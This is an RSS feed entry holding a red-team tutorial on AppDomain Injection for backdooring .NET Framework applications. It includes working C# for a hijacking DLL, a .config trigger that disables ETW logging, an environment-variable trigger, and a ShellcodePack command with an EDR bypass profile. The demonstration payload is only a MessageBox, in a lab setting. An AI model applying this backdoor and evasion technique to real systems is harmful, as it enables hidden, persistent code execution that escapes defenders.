<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Teapot on Medium]]></title>
        <description><![CDATA[Stories by Teapot on Medium]]></description>
        <link>https://medium.com/@warmteapot?source=rss-e2473cada557------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3BkBru5Tw3ZC-vKokumeJg.png</url>
            <title>Stories by Teapot on Medium</title>
            <link>https://medium.com/@warmteapot?source=rss-e2473cada557------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 20:24:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@warmteapot/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AppDomain Injection -Backdooring .NET Framework Applications]]></title>
            <link>https://blog.balliskit.com/appdomain-injection-backdooring-net-framework-applications-d5cb84efc97a?source=rss-e2473cada557------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5cb84efc97a</guid>
            <category><![CDATA[balliskit]]></category>
            <category><![CDATA[appdomain]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Teapot]]></dc:creator>
            <pubDate>Tue, 17 Mar 2026 14:08:10 GMT</pubDate>
            <atom:updated>2026-03-17T14:08:10.995Z</atom:updated>
            <content:encoded><![CDATA[<p>AppDomain Injection is a technique that allows you to execute arbitrary code within .NET Framework applications by hijacking the AppDomain initialization process. This tutorial explains how to leverage this technique to blend into legitimate .NET applications while evading modern security tools. We also demonstrate how to easily craft this kind of payload using <a href="http://www.balliskit.com/">BallisKit</a> ShellcodePack.</p><p><strong>Primary Research Source:</strong> This article is based on research by Petar Jr. Pranic (<a href="https://twitter.com/ipSlav">@ipSlav</a>) titled “Let Me Manage Your AppDomain” [1], originally published December 12, 2023, and builds upon foundational work by Casey Smith from 2017 [2].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Af8RT2FxSAbHSXvs70VITQ.png" /></figure><h3>Tutorial Context</h3><p>The target environment for this tutorial is a modern Windows system running .NET Framework applications.</p><p>We’ll be targeting a simple .NET Framework GUI application to demonstrate how AppDomain Injection works. We will explore different trigger methods including .config files and environment variables. For demonstration purposes, we&#39;ll use a MessageBox payload to show successful code execution.</p><h3>Technical Overview</h3><h4>Understanding .NET AppDomain Architecture</h4><p>The .NET Framework uses Application Domains (AppDomains) as isolated environments within a single process [3]:</p><pre>1. .NET Application Starts<br>   ↓<br>2. CLR (Common Language Runtime) Initializes<br>   ↓<br>3. Default AppDomain is Created<br>   ↓<br>4. CLR Checks for AppDomainManager Configuration<br>   ↓<br>5. If Found: Custom AppDomainManager Loads First<br>   ↓<br>6. InitializeNewDomain() is Called<br>   ↓<br>7. Your Code Executes BEFORE Main()<br>   ↓<br>8. Application Continues Normally</pre><h3>Step 1: Creating the Target .NET Application</h3><p>First, let’s create a simple .NET Framework GUI application that will serve as our target. Save this code as TestTarget.cs:</p><pre>using System;<br>using System.Windows.Forms;<br>using System.Drawing;<br>namespace TestTarget<br>{<br>    static class Program<br>    {<br>        [STAThread]<br>        static void Main()<br>        {<br>            Application.EnableVisualStyles();<br>            Application.SetCompatibleTextRenderingDefault(false);<br>            MessageBox.Show(<br>                &quot;Legitimate Application Starting...&quot;, <br>                &quot;TestTarget&quot;,<br>                MessageBoxButtons.OK,<br>                MessageBoxIcon.Information<br>            );<br>            Application.Run(new MainForm());<br>        }<br>    }<br>    public class MainForm : Form<br>    {<br>        public MainForm()<br>        {<br>            this.Text = &quot;Test Target Application - Lab&quot;;<br>            this.Size = new Size(500, 400);<br>            this.StartPosition = FormStartPosition.CenterScreen;<br>            Label label = new Label<br>            {<br>                Text = &quot;This is a legitimate .NET Framework GUI application\n\n&quot; +<br>                       &quot;If AppDomain injection works, you&#39;ll see a message\n&quot; +<br>                       &quot;BEFORE this window appears.&quot;,<br>                AutoSize = true,<br>                Location = new Point(50, 50),<br>                Font = new Font(&quot;Arial&quot;, 12)<br>            };<br>            this.Controls.Add(label);<br>        }<br>    }<br>}</pre><p>Compile the application using the .NET Framework C# compiler:</p><pre>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe /out:TestTarget.exe TestTarget.cs /reference:System.Windows.Forms.dll /reference:System.Drawing.dll</pre><p><strong>Option breakdown</strong>:</p><ul><li><strong>/target:winexe</strong>: Creates a Windows GUI application</li><li><strong>/out:TestTarget.exe</strong>: Specifies the output executable name</li><li><strong>/reference</strong>: Links required .NET assemblies</li></ul><p>Test the application to ensure it runs correctly. You should see a MessageBox followed by a simple GUI window.</p><p>Here is what it should look like when executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IGkdw7Cb2TvxWOZX1984Rg.gif" /></figure><h3>Step 2: Creating the AppDomain Injection DLL</h3><h4>Step 2.1: Simple AppDomain Injection</h4><p>Create a malicious DLL that will be loaded by the CLR [6][7]. Save this as AppDomInject.cs:</p><pre>using System;<br>using System.Diagnostics;<br>using System.Windows.Forms;<br>public sealed class MyAppDomain : AppDomainManager<br>{<br>    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)<br>    {<br>        MessageBox.Show(<br>            &quot;Code Execution via AppDomain Injection!\n\nProcess: &quot; + Process.GetCurrentProcess().ProcessName,<br>            &quot;AppDomain Hijacked&quot;,<br>            MessageBoxButtons.OK,<br>            MessageBoxIcon.Warning<br>        );<br>        base.InitializeNewDomain(appDomainInfo);<br>    }<br>}</pre><p><strong>Key Components:</strong></p><ul><li><strong>MyAppDomain</strong>: Custom class that extends AppDomainManager. You can name this class anything, but it must match the appDomainManagerType value in your configuration.</li><li><strong>InitializeNewDomain()</strong>: Method called during AppDomain initialization - this is where your payload executes</li><li>The process name is retrieved to confirm we’re running in the target process</li></ul><h4>Step 2.2: Compile the DLL</h4><p>For local injection, compile the DLL:</p><pre>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:AppDomInject.dll AppDomInject.cs /reference:System.Windows.Forms.dll</pre><h3>Step 3: Trigger Methods</h3><p>There are two primary methods to trigger AppDomain Injection:</p><h4>Method 1: Application Configuration File</h4><p>Create a configuration file named TestTarget.exe.config in the same directory as TestTarget.exe:</p><pre>&lt;configuration&gt;<br>   &lt;runtime&gt;<br>      &lt;etwEnable enabled=&quot;false&quot; /&gt;<br>      &lt;appDomainManagerAssembly value=&quot;AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null&quot; /&gt;<br>      &lt;appDomainManagerType value=&quot;MyAppDomain&quot; /&gt;<br>   &lt;/runtime&gt;<br>&lt;/configuration&gt;</pre><p><strong>Deployment Setup:</strong></p><pre>C:\path\to\folder\<br>├── TestTarget.exe<br>├── TestTarget.exe.config   &lt;-- Configuration file<br>└── AppDomInject.dll        &lt;-- Your malicious DLL</pre><p><strong>Important Notes:</strong></p><ul><li>The .config file must match the executable name exactly</li><li>The DLL must be in the same directory</li><li><strong>&lt;etwEnable enabled=&quot;false&quot;&gt;</strong>: Disables ETW (Event Tracing for Windows) events [1]</li><li><strong>&lt;appDomainManagerType value=&quot;MyAppDomain&quot; /&gt;</strong>: Must match the class name in your DLL</li></ul><h4>Method 2: Environment Variables</h4><p>Instead of creating a .config file, set environment variables before launching the target:</p><pre>$env:APPDOMAIN_MANAGER_ASM = &quot;AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null&quot;<br>$env:APPDOMAIN_MANAGER_TYPE = &quot;MyAppDomain&quot;<br>$env:COMPLUS_Version = &quot;v4.0.30319&quot;<br><br># Launch the target application<br>.\TestTarget.exe</pre><p><strong>Use Cases:</strong></p><ul><li>No file write permissions for .config files</li><li>Temporary injection</li><li>Scripted attacks with environment control</li></ul><p><strong>Important:</strong> These variables only affect processes launched from the same shell session.</p><h3>Step 4: Execution and Verification</h3><h4>Step 4.1: Execute the Injection</h4><p>With your configuration file in place, simply run the target application:</p><pre>.\TestTarget.exe</pre><p><strong>Expected Behavior:</strong></p><ol><li><strong>First</strong>: AppDomain injection MessageBox appears (your payload)</li><li><strong>Second</strong>: Application’s legitimate “Starting…” MessageBox appears</li><li><strong>Finally</strong>: The main GUI window opens normally</li></ol><p>This execution order proves that your code ran <strong>before</strong> the application’s Main() method.</p><p>Here is what it should look like when executed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZOs2ired_NalaEIii6jFfQ.gif" /></figure><h4>Step 4.2: Verify Process Context</h4><p>Open Process Explorer or Process Hacker and inspect TestTarget.exe:</p><ul><li>Check loaded modules; you should see AppDomInject.dll</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*rmb2cD27zMEME2avjsgN3w.png" /></figure><h3>Step 5: AppDomain Injection with Shellcode Pack</h3><h4>Step 5.1: Generate the Implant</h4><p>To generate an AppDomain injection DLL that executes your shellcode, use the following command:</p><pre> echo &quot;Congratulation&quot; | shellcode_pack.exe -t HELLO -G AppDomInject.dll --appdomain=MyAppDomain --arch=WIN_X64 --bypass-profile=bypass_profiles\&lt;EDR_BYPASS_PROFILE&gt;.json</pre><p><strong>Option breakdown</strong>:</p><ul><li><strong>-t</strong>: Template model (here <strong>the HELLO </strong>template printing a msgbox)</li><li><strong>-i</strong>: Path to your shellcode binary file (if you are not using a template)</li><li><strong>-G</strong>: Output filename for the generated DLL</li><li><strong>--appdomain</strong>: Specifies the AppDomainManager class name</li><li><strong>--arch</strong>: Specifies the architecture (WIN_X64 or WIN_X86)</li><li><strong>--bypass-profile</strong>: Applies multiple AV/EDR evasion techniques during payload generation</li></ul><p>If you are more comfortable with a GUI, you can use the ShellcodePack GUI to generate the implant with the same options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zX5ZBrk4F8TO65awIKhLYg.gif" /></figure><h4>Step 5.2: Deployment Setup</h4><p>Once you have generated the implant, set up the deployment:</p><ol><li>Place the generated AppDomInject.dll in the same directory as your target application</li><li>Create the .config file (or use environment variables as shown in Step 3)</li></ol><p><strong>Deployment structure:</strong></p><pre>C:\path\to\folder\<br>├── TestTarget.exe<br>├── TestTarget.exe.config<br>└── AppDomInject.dll  &lt;-- Generated by Shellcode Pack</pre><h4>Step 5.3: Execution</h4><p>With everything in place, launch the target application TestTarget.exe. You should see your payload execute before the application continues to function normally.</p><p>Here is what it should look like when executed (here is was done with another msgbox shellcode):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMJWoKumKtkcvjeoNWKJKw.gif" /></figure><h3>Conclusion</h3><p>In this tutorial, we explored AppDomain Injection and its capabilities for backdooring .NET Framework applications. We demonstrated:</p><ul><li><strong>Two trigger methods</strong>: .config files and environment variables</li><li><strong>Shellcode Pack integration</strong>: Automated generation of AppDomain injection DLLs with evasion techniques</li><li><strong>Practical implementation</strong>: Using a real .NET GUI application as a target</li></ul><p>AppDomain Injection represents an approach to code execution that leverages the .NET Framework’s native functionality. By understanding these techniques, red teams can develop more effective payloads.</p><h3>References</h3><ol><li><strong>Petar Jr. Pranic (ipSlav)</strong>. “Let Me Manage Your AppDomain — Abuse the CLR memory (un)safety”. December 12, 2023.<br><a href="https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/">https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/</a></li><li><strong>Casey Smith (subTee)</strong>. “AppDomain Manager Injection” (Original Research, 2017). Archived fork by TheWover.<br><a href="https://github.com/TheWover/GhostLoader">https://github.com/TheWover/GhostLoader</a></li><li><strong>Microsoft Docs</strong>. “Application Domains (.NET Framework)”.<br><a href="https://learn.microsoft.com/en-us/dotnet/framework/app-domains/application-domains">https://learn.microsoft.com/en-us/dotnet/framework/app-domains/application-domains</a></li><li><strong>Forrest Orr</strong>. “Masking Malicious Memory Artifacts — Part I: Phantom DLL Hollowing”. December 2020.<br><a href="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing">https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing</a></li><li><strong>Forrest Orr</strong>. “Moneta — Memory Scanner for Windows”. GitHub Repository.<br><a href="https://github.com/forrest-orr/moneta">https://github.com/forrest-orr/moneta</a></li><li><strong>NetbiosX</strong>. “AppDomainManager Injection and Detection”. Pentestlaboratories. May 26, 2020.<br><a href="https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/">https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/</a></li><li><strong>Rapid7</strong>. “AppDomain Manager Injection: New Techniques for Red Teams”. May 5, 2023.<br><a href="https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/">https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5cb84efc97a" width="1" height="1" alt=""><hr><p><a href="https://blog.balliskit.com/appdomain-injection-backdooring-net-framework-applications-d5cb84efc97a">AppDomain Injection -Backdooring .NET Framework Applications</a> was originally published in <a href="https://blog.balliskit.com/">BallisKit</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>